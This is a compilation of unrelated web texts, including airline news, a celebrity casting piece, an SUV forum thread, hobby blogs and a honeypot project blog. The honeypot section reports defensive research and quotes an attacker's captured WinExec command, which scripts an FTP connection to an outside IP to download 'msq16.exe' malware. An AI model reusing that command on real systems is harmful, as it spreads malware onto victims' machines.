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A Quick Break from Socks: Flore
by exercisebeforeknitting
When I saw Sophia's Flore hat, I remembered how had intended to make one for Beatrix so I quickly download the pattern, collected some Shine Sport remnants, did some math and cast on. I needed a bit of a reprieve from sock knitting and baby hats are fast knits, right? Well, it turns out that this particular hat is not such a quick knit, although it does beat socks. It's like knitting four baby hats in one. (duh)
I'll have a couple comments about the actual pattern when I blog about the FO later this week.
Until then, I'll be enjoying the nice weather (guilt-free) with Aaron and Beatrix. There must be something about the end of the semester and bike rides…


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American Airlines Resumes Talks with Pilots After Scares and Delays
(NEW YORK) -- Delays and plane maintenance issues have finally led American Airlines management and the pilots' union back to the bargaining table for the first time in weeks.
After a tumultuous week of seats becoming loose, flipping over mid-flight in one case, American Airlines announced it was resuming stalled contract negotiations with its pilots' union.
Wednesday, another safety issue put American Airlines under the microscope because of a mid-flight maintenance scare when a plane's landing-gear warning light jammed after take-off.
Flight 1862 from Dallas to St. Louis had to return for an emergency landing 10 minutes into the flight Tuesday. The passengers were told to brace for a crash landing at Dallas-Fort Worth International Airport.
Jim Faulkner, an American Airlines spokesman, said the flight turned back to the airport without incident around 8:40 a.m. local time. Passengers were put on another plane to St. Louis.
"When they said assume the position, it was scary," passenger Elaine Krieger said.
Some passengers were left to wonder whether the landing-gear concern was real, well aware of the airline's recent trouble with labor.
"Some people are cheering as we landed, and the rest of us are thinking, 'Is this a scenario they created, or was it real?'" passenger Jeff Estes said. "Are they really heroes, or are they guys just creating a job action?"
Former American Airlines pilot Ron Carr said pilots would not go that far, but it's clear he said that despite union denials, pilots are using their ultimate power in the cockpit to delay flights by forcing even small maintenance issues, like a broken coffee pot, to be fixed before takeoff.
"I think there's a lot of things that could be written up on an aircraft," Carr said. "You have a, a very complex machine that's being operated and there's always going to be something that's not quite right that could be written up."
Carr, who is currently an assistant professor of aeronautical science at Embry-Riddle Aeronautical University, added that he did not think any pilot would resort to "sabotage" as that would be a safety issue.
"That would be very stupid on their part to pull a stunt like that...they would not do anything of that nature to jeopardize, or purposefully, to cause a problem to cause a delay. That's not going to happen, in my opinion," he said.
If pilots are using their authority to delay flights, it is a tactic that seems to be working for pilots who have put pressure on American by doubling delays and inconveniencing customers.
Thomas Horton, CEO of American parent AMR Corp., said Tuesday in a statement that he was pleased that "intensive bargaining" was scheduled to begin this week.
"It has been a very challenging couple of weeks for our company. As you know, our operations have experienced significant disruption, affecting our customers, our people and our owners," Horton said.
Nearly half of American Airlines' fleet of Boeing 757s -- 47 jets -- were taken out of service earlier this week to make sure that no more of its coach seats came loose in flight, as they now have three separate times. As of Wednesday morning, many of the planes are now back in service as the airline said the loose seats were a result of human or mechanical error and not sabotage.
The airline said a saddle clamp was improperly installed on the planes where the seats disengaged. The latest reported incident of loose seats occurred on a flight from Vail, Colo., to Dallas Sept. 26, the New York Post reported Tuesday.
Flight 443 from New York's John F. Kennedy Airport to Miami had to return to JFK Monday when the loose seats were discovered, the Federal Aviation Administration said in a statement.
The earlier reported incident took place Saturday night when seats came unbolted on American Airlines Flight 685 from Boston to Miami. The flight was diverted and made an emergency landing at JFK.
The FAA said in a statement Tuesday that it was looking into the first two incidents and that the airline's initial inspection of each aircraft had found other rows of seats that were not properly secured.
"Preliminary information indicates that both aircraft had recently undergone maintenance during which the seats had been removed and re-installed," the FAA said.
Copyright 2012 ABC News Radio

subset: commoncrawl


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My name is Thor, I am 33 and a new contributor to the KDE Website and other bits. I am an active software dev, working mostly in C++, Perl, PHP and Java. I work on KDE 4.1.2 (via Mandriva 2009) at home, and am interested in providing whatever help I can to the project.
You can reach me via email at:
thundergod1919 AT yahoo.com.au
Leave anything you wish on my discussion page - you are most welcome.
ThunderGod 00:34, 8 December 2008 (UTC)


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intro: Her trial isn't even over, but casting for a Lifetime movie about accused murderer Jodi Arias has already begun.
The casting notice for "Dirty Little Secret: The Jodi Arias Story" hit the web last week, which got us thinking about who should play the role of Arias, 32, and Travis Alexander, the boyfriend she's accused of murdering by stabbing him 27 times, slitting his throat and shooting him in the head.
Producers City Entertainment and Peace Out Productions are searching for a Caucasian woman in her late 20s, who is "coquettish, head-turning, with a palpable sexy allure and well aware of the affect she has on men," according to a script obtained by FoxNews.com.
"Jodi is a single-minded, head-strong, quick-tempered young woman. She is hell-bent on emotionally suffocating and controlling Travis Alexander, a handsome young Mormon and motivational speaker who soon falls prey," the casting notice says.
She is "jealous in the extreme" and "driven to violence when she realizes that Travis will never fully commit to her," the notice reportedly said.
Catching Up on the Trial? Check Out ABC News' Jodi Arias Trial Coverage
Of course, the final scene -- the trial's verdict -- has yet to be scripted.
A source for Lifetime told ABCNews.com a movie is definitely in the works. According to the casting notice, the tentative start date for production is April 13 -- not a lot of time for producers to find their leads. Click through to see a few of our suggestions.
quicklist: title: Jennifer Love Hewitt text: Jennifer Love Hewitt, 34, is already one of Lifetime's stars as massage therapist Riley Parks, who provides her clients with "extras" in "The Client List." Not only could she easily pull off the role but she's open to it, telling "Showbiz Tonight" that playing Arias would be "interesting." media: 18782260
quicklist: title: Jessica Alba text: Another dark-haired beauty, Jessica Alba could easily play sexually alluring and headstrong. The former "Dark Angel" star is best known now for playing Invisible Woman in the "Fantastic Four" movies. She also looks equally good with lighter hair as she does with her natural brunette locks. media: 18782276
quicklist: title: Rachel McAdams text: Many have called Rachel McAdams, 34, a dead ringer for Arias when Arias was a bleached blonde. (She's now a brunette.) Though McAdams has never done the small screen, most Hollywood actresses have discovered that some of the best roles these days are on television. media: 18782316
quicklist: title: Ian Ziering text: As for Travis Alexander, the Mormon motivational speaker, the role calls for a wholesome looking guy who is lured by Arias' sexual charms. Original "Beverly Hills, 90210" star Ian Ziering, 48, could fit the bill. He's also no stranger to the Lifetime audience, having starred in 2009's "The Christmas Hope." media: 18782348
quicklist: title: Peter Facinelli text: Another veteran of Lifetime movies, Peter Facinelli once starred in "An Unfinished Affair" with his ex-Jennie Garth. Facinelli, 39, can be equally convincing as wholesome and bad boy. media: 18782358


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- About us
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- Security Workshops
We got a new milestone due:
An exploit taken from a public repository, run against the software, is detected and emulated.
To shorten things, basically all required points are hit with current svn.
So, given the time we just saved, some words about how it works. Read more »
Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:
WinExec("cmd /c echo open 188.8.131.52 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy. Read more »
While playing with the current hsoc code, I got attacked, and saw an offer to download something from somewhere.
due to the length of the whole term Improving the effectiveness of low interaction honeypots, I decided to use Iteolih as uniq abbrevitation. Things are rolling for the project, writing code started, a basic homepage with instructions how to compile/use it was created.
I even had the plan to write about it once or twice, finish something in the code, write about it. When I was done with the code, I got the idea, writing about it was not worth your time. Read more »
As the plan is to embedd python as scripting language into the honeypot, I ran a benchmark on a testsuite. The 'testsuite' is a c core which accepts connections, and allows python to deal with the input. The protocol used for benchmarking is http, the service serves a non static html page.
I tested
To benchmark, I ran the apache benchmark tool ab Read more »
As libemu had it's second release (0.2.0) lately, I'll try to introduce it to the audience who did not hear about it yet.
libemu is a small library written in c offering basic x86 emulation and shellcode detection using GetPC heuristics.
Intended use is within network intrusion/prevention detections and honeypots.
This post is split into four parts:
I've been looking on ipv6 lately, and even though I got a global /64 for free from he.net, I'm not that amused about ipv6 yet. Read more »


text:
|Abandoned No Way to Escape FOREST ESCAPE
|Room Escape
|Abandoned No Way to Escape
|This is the game for you to have a wonderful experience where you can solve puzzles and hunt for hidden clues and search for lost keys and so on. Give work to your brain by playing these escape games which will be challenging and solvable at the same time. Good luck and have fun!
The magical house awaits you with some precious treasure. Gear up to strike it rich by discovering the treasure. Get into the house and search for th..
This is the game for you to have a wonderful experience where you can solve puzzles and hunt for hidden clues and search for lost keys and so on. Give..
In this game you have to find the godown door access card for escape from godown.You have to solve some interesting puzzles get some clues, and finall..
In a beautiful lonely village, a leap boy lived. The people in the area looked at him very much. He was very intimidating to see. The leap boy was loc..
Assume that you are trapped in the forest and you try to escape from the forestry by using objects, key, hints and by solving puzzles. Can you Escape?..
In this escape game, someone trapped a chef inside the restaurant. You need to help the chef to come out of the restaurant by finding useful objects..
A twin children lives in a beautiful small town. That twin children was very active and beautiful. The twin children was playing in a place where on..
We know that you are a great fan of Escape games but that doesn't mean you should not like puzzles. So here we present you Grasshopper Rescue . A co..
A modernistic monkey was living in a beautiful and gorgeous village. The modernistic monkey lived very happy. The modernistic monkey was unexpectedly ..
Imagine that you went to a fantasy forest as an adventurous trip. While you were enjoying your adventurous trip lonely. You noticed a cute Toucan loc..
You are a knight who is trapped in the barbarian castle. See if you can find the solution for this dangerous situation.
A surprise postmaster lived in a beautiful and magnificent village. That surprise postmaster was very beautiful to see. He is serving the people of th..
Note: The Google Chrome browser comes with the Flash player pre-installed automatically. I recommend Chrome as a secure browser to use when playing flash games online.
WowEscape.com is a specialised developer and publisher of escape games. Ever imagined being locked in a room and challenged to break out using nothing but your brainpower? Escape game, is a type of point-and-click adventure game which requires a player to escape from a place, house or room by utilizing the objects in that surroundings. On WowEscape.com you can find all type of escape games for all kind of people! We have a massive selection of best free online escape games! Wowescape.com is the first website to release all the new escape games daily. We make every effort to offer the best escape games for the escape gaming audience. WowEscape.com is a safe website to visit, as our website is also easy to use, and we mainly include games that meet the varied demands of the escape gaming audience. In short, we offer top best online escape games that have been appreciated from the gaming community and from the experts. You can also give suggestions for us through contact us link to keep improving the quality of the games and website. With a team of highly professional and experienced creative art production and programming teams, we are delivering the finest online escape games to the world. We are devoted to excel in our services and work towards delivering high quality escape games. We intensively support as well as encourage our users and game companies to download, and use our games for their pleasure and business purposes.


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Sorry for the temporary blog silence! I've got a couple of interviews with debut authors coming up, but here's the thing – once they sell, they instantly become incredibly busy. So bear with me while I recruit some more authors for interviews.
If you are a writer and would like to be interviewed here, post a comment with your contact info. Thanks!
In the meantime – THINK SPRING!


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The treasures of our lives
Determining what interests most of our friends and relatives would be a fun thing in my opinion. I'd like to know what these people I love and admire value and put stock in these days. With all of the commentary and writing about the banking industry and the loss of funds, changes in savings plans, retirement benefits, and the constant drain on our wallets, have we changed our perspective, or are we still all about making that next dollar? Knowing we have to survive and pay our bills, I am not taking lightly that these many changes affect me and my family, but if I thought about it all of the time, I would lose my sanity.
I need the beauty of a quiet walk on the Gulf Coast, a quickly planned fishing trip to the bright, clear water of either the bay, the canal, or the open sea, and some time to regroup from the cares of this world. Thank God, our basic needs are met, and we are not hungry, or cold, or ill today. We have family and friends surrounding us with love and, therefore, we are truly among the most blessed.
One of the things we get to do here on the Bolivar Peninsula is search for treasures almost any time we want to. I have long ago learned that there is so much beauty just waiting to be discovered and I am just as excited as the grandkids or visitors to hit the beaches in search of the finds of the day. Ted and I gathered each of the shells in the photograph here and I carefully washed the sand out of each, placed them on a towel to dry, and put them into the current heap. We keep a big supply of plastic bags for the boys and girls (and often, the adults, too) who want to look for shells with us.
The fascinating thing is that each one is different — just like human beings. There was a time in my life when I wanted only to find the "perfect" ones, those without noticeable flaws, broken edges or discolored marks. Having grown a bit older, I find I am more generous and I want to keep them all. I think each "flaw" has a story to tell about that particular shell's journey, where it came from, what lived inside the house it provided, and perhaps how it got where it is today. I've found that seashells come in all sorts of sizes, shapes, colors, weights and markings. Again — kind of like people, if you think about it carefully. I can honestly write today that perhaps the broken or damaged ones may attract me more. Their stories are fuller, deeper, broader, more intriguing to me.
When my son Brent was a very young man, he bought me a copy of a book, which I treasured. It was "A Gift from the Sea" by Anne Morrow Lindbergh, who was the daughter of a respected U.S. diplomat. She was thrust into the spotlight of life by her marriage to aviator Charles Lindbergh. The couple's travels in the very early days of globe-trotting aviation drew breathless and often sharp attention from the media. Her world was thrown into greater turmoil with the 1932 kidnapping and murder of her first-born son, whose body was discovered near their New Jersey home. The murder was termed "the crime of the century" and drew worldwide attention. Amidst constant speculation about her husband's activities in aviation, Anne Lindbergh found solace on the beaches of Florida's Captiva Island.
It was there that the writer found peace and quiet, and inspiration to go on with her life. She died in 2001, but her work lives on today. After having studied her life and reading her story, I found her words about the sea more impressive. "The sea does not reward those who are too anxious, too greedy, or too impatient," Lindbergh wrote. "To dig for treasures shows not only impatience and greed, but a lack of faith. Patience, patience, patience, is what the sea teaches. Patience and faith. One should lie empty, open, choiceless as a beach — waiting for a gift from the sea."
Almost every day when we walk our beaches, looking for and expecting a new treasure to appear, I think of my many gifts from the sea. There are few greater riches in my life.
Brenda Cannon Henley can be reached at (409) 781-8788 or at brendacannonhenley [at] yahoo [dot] com.


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Hello Guys.
After I started kiting, after one year i had a torn ligament in my knee, so after surgery i spent like 2 years afraid, just kiting with no jumps. Just going to one side to the other and riding on waves.
So in the last two months I felt safe again and started to learn how to jump.
The problem is, as a beginner in this area, in two jumps, while in the air with the kite at 12, I forgot to send it back to 9, so i fell and the kite stalled.
In both times when stalled the rebel twisted all around its lines,relaunched with some power with lines all twisted out of control, i had to release the chicken loop and ask a buddy for a ride back to the sand.
Is this an issue with all kites or just 5 line kites? I know this is probably my fault, but even loving my rebel if I see that this doesn't happen with a 4 line kite, I may replace my rebel.


text:
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Meet your fellow owners in our Owners Clubs
Death of the body-on-frame SUV?
I wanted to start this discussion b/c I'm curious what other people think.
I used to own a 2001 Chevy Tahoe LS 4WD. While I loved it, after having to spend 50+ on every tank of gas, I opted for my new ride...
2003 Honda Pilot AWD LX. I must say that I have never missed the extra cargo capacity on the Tahoe, and like 99.999% of all SUV owners, I towed with the Tahoe less times than I have fingers and toes (nothing heavier than the Pilot could handle I might add).
I for one just cannot see how anyone can possibly buy body-on-frame SUVs these days! There is just no comparison. While some people need great off-roading, the majority of SUVs can't deliver on this. Cargo capacity and passenger capacity is also now clearly better in crossovers (see Acadia/Enclave/Outlook). Add to this $2.80+ gas and the better mileage and drivabiltiy of crossovers like the Pilot...man, stick a fork in body-on-frames!
I used to own a 2001 Chevy Tahoe LS 4WD. While I loved it, after having to spend 50+ on every tank of gas, I opted for my new ride...
2003 Honda Pilot AWD LX. I must say that I have never missed the extra cargo capacity on the Tahoe, and like 99.999% of all SUV owners, I towed with the Tahoe less times than I have fingers and toes (nothing heavier than the Pilot could handle I might add).
I for one just cannot see how anyone can possibly buy body-on-frame SUVs these days! There is just no comparison. While some people need great off-roading, the majority of SUVs can't deliver on this. Cargo capacity and passenger capacity is also now clearly better in crossovers (see Acadia/Enclave/Outlook). Add to this $2.80+ gas and the better mileage and drivabiltiy of crossovers like the Pilot...man, stick a fork in body-on-frames!
IMHO you are experiencing the difference between a Mid Sized SUV and a Full Size SUV more than whether or not there is a frame under it.
My Trooper's mpg is important to me. I get 16.7 around town which is just as good as our minivan which like your Pilot has no frame. (Pilot is a shortened version of the Honda minivan, given how nice that minivan is, that is a good thing) On the highway our minivan gets 24 to 27 mpg because it is aerodynamically shaped and low to the ground. On the highway my Trooper with a frame gets 21 mpg at 65 mph and 19.5 at 70 mph. I bet your frame less Pilot is within a mpg or two of my Trooper with its frame.
If there will be the death of body-on-frame it will not be from MPG but from government regulations that specify that the vehicle has to crumble like a ball of aluminum foil if it is in a collision.
SUV is just a tall station wagon. I think cross over is just a name for mid height station wagon. The future will hold "green cross overs" which will be low to the ground station wagons that get good mpg.
Even though I tow and go off road infrequently, I like to drive a vehicle that can get me through those situations with confidence.0
I can't think of any other vehicle on the road that can transport my family of 6 and 2 of my kids friends, ( 8 people), plus tow my 6000 lb boat to the lake and haul all my gear other than a Chevy Suburban or a Ford Expedition EL. As long as there are people out their who need to tow and haul people body on frame will live on.0
atfdmike Posts: 414I think Boxtrooper is right! The unibody construction you seem to enjoy cannot withstand the punishment of load and time like a body on frame! GM took its' full size vans back to this architecture for just that reason. I think each driver has to look at their individual usage to determine whether the rated capacities they expect will be delivered through the vehicle they wish to use. The new SUV's mentioned are examples of crossovers that deliver on passenger capacity but passenger and towing weight can take them out of the running. One guys opinion.0
You're right...but most Suburbans/Expeditions I see driving down the road aren't towing anything and have one or two people in them. I just wonder how many people buy the big ones out of need or just desire to drive something big?0
stevedebi LAPosts: 4,098"You're right...but most Suburbans/Expeditions I see driving down the road aren't towing anything and have one or two people in them. I just wonder how many people buy the big ones out of need or just desire to drive something big?"
We should consider that these large vehicles are expensive. If people have a legitimate need for periodic towing, it's possible that they cannot afford an "everyday" car in addition to the large SUV, so they buy the SUV and not a smaller car. And then they drive that large car all the time.
However, many people want the safety of a large heavy vehicle in case a collision occurs. They are safest in a crash with most vehicles, provided the driver keeps in mind that they are top heavy and large. But most of the new trucks come with some kind of stability control.
If you have some money, you could buy both the large truck and a nice hybrid, but most people are not in that class.0
i like rwd, and most good suv's have a real 4 wheel drive system. i like to take mine where i fear to tread occasionally.2017 Ford Fusion SE 2017 Ford F-150 Limited0
To be sure, there are some out there who buy these large SUV's "just for show".
A couple of points to condsider though. As another poster pointed out most people can't really afford an extra vehicle for limited use. I have done the math, you literally can't buy, insure, drive, and maintain a 3rd vehicle and save money vs. the cost in gas on driving the Suburban around daily. (the simple math, I spend about $100 in gas per month on my Suburban, a small car that averaged 30 mpg would cut my fuel bill in half to $50. Good Luck finding a car for $50/ month)
I haven't towed my boat anywhere since October, as boating on frozen lakes tends to be a little tough. But come summer, I take the boat out 2-3 times per month for weekend outings.
I would happily drive a more fuel efficient vehicle if the basic laws of physics didn't dictate that I need a vehicle with the size and power of a Suburban to do the job I need it to do.0
suv4betsy Posts: 38You're on the mark catam.. We use the space in the back of our aging Passport all the time, how else are you going to haul 300 rolls of TP from Costco? Seriously it is the trip to Costco, or weekend ventures to the ocean, kids haul all the toys in the back. We also need 4WD for the occasional snow storm to get to/from work. I didn't find many alternatives to 4WD with trunk capacity other than form of SUV. It is the most practical/utilitarian vehicle for us. I can't ever think of owning a typical sedan again.
I don't know if anyone has looked at the 2008's coming down the line but they are getting larger again, bigger engines, and the new 2008 EPA estimating rules are going to drop mileage even more. There's a lot of heavy marketing baraging us every day on TV to have the biggest most powerful vehicle on the planet. I'd even say the market is still in favor of more and more truck sales as much or greater than SUV market.0
A friend has replaced her minivan with a nearly new hybrid Civic or something like that. The family's other car is a Tahoe. She says the switch is nice for lower cost of fuel, but she has to plan more carefully to swap for the Tahoe in anticipation of picking up her kids friends along with her own kids or for anything that requires more room. Her kids have to plan for only the things they need in the seat with them, other stuff has to be placed in the trunk.
Her change to a hybrid was cost effective because of unforeseen circumstances that landed the hybrid in her possession, she had to decide to keep the minivan or the hybrid not both.0
volvomax Posts: 5,274I don't think the body on frame SUV will go away entirely, but its numbers will decrease.
One other thing to consider is that the body on frame vehicle is cheaper to build than a unibody SUV.
So, the motor companies bottom line is enhanced by these trucks.
Also, as others have mentioned, they deal with heavier loads and stresses better than unibody vehicles do.
However,they are inherently less safe than unibody vehicles.0
odie6l Hershey, PaPosts: 1,173yeah, but Toyota is getting ready to unveil it's Hybrid Minivan. that alone will flood the market with people who "gotta have it" and don't need it.
Odie's Carspace0
Odie, I like that name!
Toyota has made an investment in Isuzu for diesel engine technology. I think an Isuzu diesel/hybrid minivan with an inline diesel designed to be easy to work on from the accessible side that gets 40+ MPG would suit a lot of people. Diesel has produces less "carbon footprint" than gasoline and gasoline less than ethanol fuels.
I would go for the diesel even if not a hybrid, because simple is very good for reliability. The hybrid would give stop and go drivers excellent response and the diesel would be awesome over the open road.0
For those folks who use the towing capability a few times a month in the summer, then it does make sense to own something that can handle your towing needs. But I think it's unlikely that many of the soccor moms/dads driving Expeditions, etc in subarbia or on their morning commute do much if any towing.
I think most folks (and I don't think folks on these forums are "most folks") buy the big SUVs strictly for image and style. No problem...it's their money. But since the huge body on frame SUVs are bought mostly for image/style, just as style's change, so will the number of folks buying this sort of vehicle if they really have no need...and the reduced numbers indicate this. But you'll always have a core group of folks (those posting here) that will always have a true need.0
My sister says she and her husband drive big SUVs for two reasons:
1.) they have been in accidents where they were stopped and some other driver missed a turn or in some other way smashed their minivan and car at different incidents. The SUV on frame especially the largest of them, survive better when being crashed into, so they drive big SUVs for safety.
2.) The second reason is that she is self employed and can get a huge discount / rebate from the federal government for buying a vehicle in excess of 6000 lb. GVW. So the big SUV costs her much less than a car or even a hybrid to drive. The federal discount is meant for plumbers and the like, but all that is needed to qualify is the 6000 lb.0
tidester Posts: 10,059but all that is needed to qualify is the 6000 lb.
No, that's not all. You must also use the vehicle for business - plumbing or otherwise.
tidester, host
SUVs and Smart Shopper0
SUV on frame especially the largest of them, survive better when being crashed into,
If you're sitting in an big SUV or a small sedan and you're car is hit in the side by a big SUV, the small sedan being lighter may move upon impact and absorb some of the shock, where the heavy SUV will just sit there and take the impact.
Then you have to look at the door design to see which one absorbs the impact better. I don't know if you want a lot of heavy steel pushed into the passenger cabin.
Bottom line is that weight is only one factor and not necessarily an advantage in every type of crash situation.
What was the outcome of your sister's two previous accidents? Any serious injuries? I would think that folks in accidents tend to overcompensate, sort of like someone who has a friend who died in a plane wreck, so now they'll will never fly. Or they'll never let their kids play football because they heard about a kid dying from a freak football injury. Or they'll never eat food X because they heard on the radio that food X causes cancer in rats.
If we take safety to the extreme, everyone would be living in their basements eating organic rice every day and never leaving their house. To me, everyone driving giant SUV just to "be safe" is just as extreme.0
I think the safer feeling in the big SUV comes from the frame for strength and the height, so the sedan will go under or crush its hood to absorb the energy. Just this afternoon I saw the aftermath of a mid to smallish Japanese brand car rear ending a Yukon. I looked like the Yukon might have scratches on its plastic bumper cover while the car needs a whole new front end, and is definitely not drivable.
I think there are people out there in little cars that want to do away with big SUVs for fear of being run over.0
barnstormer64 Posts: 1,106I think there are people out there in little cars that want to do away with big SUVs for fear of being run over.
I don't worry about them running me over. But I do care about not being able to see around them. :mad:0
Sometimes, the worse-looking damage to the car equals less damage to the occupants.0
nbx Posts: 28My problem with BOF SUVs out of Ford these days is excessive weights that have crept into Explorer and Expedition models. When you reach say about 5,000-5,200 lbs curb weight in a BOF 4wd SUV, moving the thing around becomes a chore. 5,800 to 6,100 lb curb weights for 2007 Expedition and EL in 4wd are major turn-offs for me even though I have been a full-sized SUV driver for 27 years. Even though the newer 4.6 and 5.4 L powered rigs are actually somewhat nimble, why not engineer out 500+ lbs per model and still have a BOF vehcile that does the hard working jobs.
Back in about 1995, a Ford dealer manager pointed to a Ford Bronco and said that it was the best new vehcile value on the lot. An over statement, but you still see Broncos hard at work in forests and firehalls and police special units and in private use by hunters, boaters, outdoorsmen. The rugged drivetrain, BOF, H/D engine and tranny, etc.,allow for many years and hundreds of thousands of miles of use with repair, rehab and replacement. This is especially true if the model in question had lockout to allow 2wd high when 4wd was not in use. So there is a demand for such a BOF at least in the short wheelbasees or else these units would no longer be in such active service.
No argument at all with your unibody and points about the excellent Pilot. Very popular vehicle with high resale value. Well done Honda. That's just that market.
But as long as there is adequate fuel at suitable prices, there will be a demand for heavy boat and trailer SUV towing, large family and cargo moving, and tough SUV jobs to be done. The BOF SUV simply is nowhere near dead.
..the auto companies study and refine these various markets constantly..when the sales fall the companies respond..0
matador33 Posts: 1Just commenting on the idea of driving a second car for the daily commute and then having an Expedition (or other) for when it's needed. I tried this for about two years and gave up. Yes, the cost of insurance alone on the second car is more than the extra gas of driving a large SUV every day but the bigger issue for me is that I had to plan my days around what vehicle I had. Finally I just admitted defeat. With two dogs and two kids and bikes and skis and all the rest I'm impressed and jealous of anyone in a similar situation who is efficient enough to survive with a small SUV / sedan.0
Since you probably put the skis & bikes on the roof and the dogs behind the 2nd row, you could get something smaller like a Subaru Forester and fit what you're talking about.0
I had no idea that so many people would contribute to this topic - thank you for your thoughts!
Bobw3 - I totally empathize with your points on safety of BOF SUVs. My dad, a Suburban disciple, has driven one since 1988 and has had a number of serious crashes (mostly not his fault =)) that he has walked away from with not so much as a headache. In contrast, the cars that run into Suburbans look devastated. That being said, he doesn't drive the thing like a racecar and when people do, they tend to flip.
I have a question for everyone - why is GM so ancient with its refusal for rear IRS and thus non-rear folding seats? Is there an advantage to their solid rear axles?0
solid rear axles have been the most efficient drive, independent axles take more gear changes and each change is a loss.0
My dad, a Suburban disciple, has driven one since 1988 and has had a number of serious crashes (mostly not his fault =)) that he has walked away from with not so much as a headache. In contrast, the cars that run into Suburbans look devastated.
No offense, but I wouldn't want to be driving anywhere near your dad on the road, especially after the comment, "mostly not his fault" I wonder how many accidents he could have avoided if he wasn't driving such a big vehicle?0
difica Posts: 9Well, there has obviously been a lot of new unibody crossover SUV's coming lately, and obviously those are the choice who want to use an SUV for just commuting and running errands.
But for those people who really use BOF SUV's off-road and towing abilities, it's just basically a crew cab pickup with a bit shorter bed and a bed cover as standard, and if they weren't available, they'd be using those, but SUV's are simply more user friendly with their one pull opening rear hatches and various other small things, such as the slightly smaller size (crew cabs are hugely long) and the more luxurious interiors of many SUV's compared to pickups.
If i were to buy a towing vehicle now, i'd go for a regular cab pickup (live alone, no need for four doors), but as a combined family and recreational towing and off-road vehicle (i doubt too many SUV's are used in only work conditions, companies apparently tend to use pickups), there aren't many options.
So, the BOF SUV isn't going anywhere in a long time.0
rwd. jeep grand cherokees are unibody plus rwd. not sure how many others.2017 Ford Fusion SE 2017 Ford F-150 Limited0
candyinnc Posts: 2I am the exact opposite....I did away with the small car for the SUV because I was run over. My Subaru Legacy was totalled last June because a Dodge 2500 truck ran a red light and nearly T-boned me (hit just in front of the passenger door). I felt like I was on the end of a whip. I still have effects from that wreck. No question about what to buy to replace the Subaru. I'm in an Expedition now.0
off road capability and towing capacity.
for a while bof rwd suv's were better than the alternatives, for many people.
the circumstances have changed.2017 Ford Fusion SE 2017 Ford F-150 Limited0
stever Posts: 52,462SUVs and trucks? BOF ones?
Isuzu Buying Alabama Land for Plant (Auto Observer)0


text:
For more complex repairs and maintenance you will need more specific tools, a well organised workspace and a shop bench. Not absolutely necessary, but the best way to make repairs easier.
These tools can be added to the ones already listed in the "Getting Started" thread.
1) A Portable Work Stand - make sure it's sturdy enough and stable enough to handle it when you have to wail on the wrenches from time to time.
2) Shop Apron or Overalls - keeping you and your clothes clean and tidy. Also great for keeping your go-to tools on you whilst working.
3) Hacksaw - with a fine toothed blade.
4) Shop Knife - or a set of razor blades.
5) Files - round ones and flat ones with medium to fine teeth.
6) Cable Cutters - for cutting brake and shifter cables along with the housing. Felco C7 is an excellent tool.
7) Metric Socket Wrenches - includes 7mm, 8mm, 9mm, 10mm, 13mm, 14mm & 15mm
8) Crank Puller - for removing crank arms.
9) Ball-Peen Hammer - Medium.
10) Cone Spanners.
11) Bench Vise - bolted to a sturdy bench top.
12) Cassette - Cog Lockring Tool - for removing cogs / cassettes from the rear hub. Please note, these are brand and model specific.
13) Chain Whip - for holding cogs while loosening the cassette lockring.
14) Bottom Bracket Tools - A wide ranging area to cover here. Much has changed in the last 10 years and there are a variety of specific BB tools for each type and specification.
I'll do a separate thread on BB's. Just make sure you have the correct tools for the BB you are dealing with, or head to your local LBS and let them take care of the job if you're not 100% sure.
15) Slip Joint Pliers
16) A Bike Specific Torque Wrench -Applying the correct torque to your cycle components is essential for a safe and serviceable bike. An absolute must when working with carbon fibre!
17) 3 Way Hex Wrench - Certainly not essential, but a handy tool to have. They come in different sizes with Torx options also.
18) 4th Hand Tool - sometimes referred to as a "cable stretcher" Pulls cables tight for adjustment of derailleurs and brakes. It features one-hand operation with a thumb lock to hold the cable tight while your hand is freed up to tighten pull-up bolts and nuts. Great for cinching up cable ties as well.


text:
Cognitive Science (B.S.)
Cognitive science is the study of complex information processing in humans and machines and includes the multidisciplinary study of biological and artificial systems. The field of cognitive science draws from diverse approaches to understanding these processes, including research from experimental psychology, neuroscience, linguistics, computer science, mathematics, and engineering. Cognitive scientists believe that the design of artificially intelligent computer systems can benefit from a better understanding of human psychology and neuroscience. Likewise, our understanding of human thought and behavior can be informed by a better understanding of work in the area of artificial intelligence, computer science, and mathematical modeling. In addition to providing a sound preparation for graduate work in Cognitive Science and related areas, the Cognitive Science major is an ideal choice for students pursuing careers that combine interests in neuroscience, cognition, mathematics, and computer science. There are exciting career prospects in both industry and academics. For example, the Human Computer Interaction specialization area provides students with a unique set of skills in both software engineering and behavioral science research methods that can prepare students for careers involving the evaluation and design of user-friendly software interfaces. The Intelligent Systems specialization area provides students with a unique background in mathematical modeling, computer programming, psychology, and neuroscience which can prepare students for careers associated with the development and implementation of intelligent systems (e.g., web search engine design, speech recognition technology, computer vision, and computer games).
Students can complete Core Curriculum and Cognitive Science major requirements in a minimum of 78 semester credit hours, leaving 42 elective hours.
Bachelor of Science in Cognitive Science
This catalog is a general information publication only. It is not intended to nor does it contain all regulations that relate to students. The provisions of this catalog do not constitute a contract, express or implied, between any applicant, student or faculty member and The University of Texas at Dallas or The University of Texas System. The University of Texas at Dallas reserves the right to withdraw courses at any time, to change fees or tuition, calendar, curriculum, degree requirements, graduation procedures, and any other requirements affecting students. Changes will become effective whenever the proper authorities so determine and will apply to both prospective students and those already enrolled.
Statement on Equal Educational


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Porsche Panamera Turbo S Takes On 7 Competitors
Sometimes owners of fast cars want to race everyone just to see how they stack up. The owner of, what looks…The post Porsche Panamera Turbo S Takes On 7 Competitors appeared first on Autofluence.
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This scoop neck maternity top can be worn during pregnancy and beyond...it's works extremely well at every stage of your pregnancy.The subtle ruching detail on both sides provides a sleek appearance and also helps the top stretch as the baby grows.Made from beautifully soft and incredibly stretchy viscose/elastane fabric to mould and stretch comfortably with your ever-changing body giving you shape and definition.
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From fanciful illustrations, to digital paintings and fun startup logos, these talented students play an important role in our growing student designer community.
Check out these top-notch designers for yourself. And if you're a design student, make sure to register for the 99designs student reward program and earn an additional $99 for every win.
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Josh Hamilton was still getting the hang of being a big leaguer.
Hamilton showed up in the majors belatedly but abruptly, after a three-year suspension for drug use and 15 games in the minor leagues. The Cincinnati Reds took a flier on him, and he hit 19 home runs, largely on raw skill.
